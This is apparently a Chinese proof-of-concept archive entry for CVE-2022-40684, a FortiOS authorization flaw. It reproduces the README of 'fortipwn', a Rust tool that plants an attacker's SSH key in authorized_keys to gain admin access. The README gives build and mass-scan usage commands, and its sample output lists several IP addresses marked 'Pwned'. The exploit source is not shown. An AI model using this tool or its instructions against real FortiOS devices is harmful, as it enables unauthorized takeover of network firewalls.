关联漏洞
标题：
Fortinet FortiOS 授权问题漏洞
(CVE-2022-40684)
描述：Fortinet FortiOS是美国飞塔（Fortinet）公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。 Fortinet FortiOS存在授权问题漏洞。目前尚无此漏洞的相关信息，请随时关注CNNVD或厂商公告。
描述
Forti CVE-2022-40684 enumeration script built in Rust
介绍
# fortipwn
Forti CVE-2022-40684 enumeration script built in Rust.
Uploads an SSH public key into authorized_keys, allowing an attacker to SSH into a server running FortiOS as admin.
# Usage
```console
$ ./fortipwn <hosts.txt> <id_rsa.pub>
```
# Build
```console
$ git clone https://github.com/Grapphy/fortipwn/
$ cd fortipwn
$ cargo build --release
$ cd target/release/
$ ./fortipwn <host.txt> <id_rsa.pub>
```
# Output
```console
$ ./fortipwn examples_ip.txt id_rsa.pub
Checking for 150 hosts. You might log-in through ssh as admin@host on pwned hosts.
Pwned: 210.29.110.143
Pwned: 144.14.71.122
Pwned: 21.220.10.82
Pwned: 163.123.102.32
Pwned: 121.159.192.10
Pwned: 162.49.194.19
Pwned: 185.92.20.40
Pwned: 194.19.211.19
Finished scanning
```
文件快照
[4.0K] /data/pocs/51935e9c1e8d1c58251fc43c13dc3024cd376d29
├── [ 25K] Cargo.lock
├── [ 395] Cargo.toml
├── [ 750] README.md
├── [4.0K] src
│ ├── [1.1K] cve.rs
│ ├── [ 13] lib.rs
│ └── [1.0K] main.rs
└── [4.0K] tests
└── [ 867] integration_test.rs
2 directories, 7 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。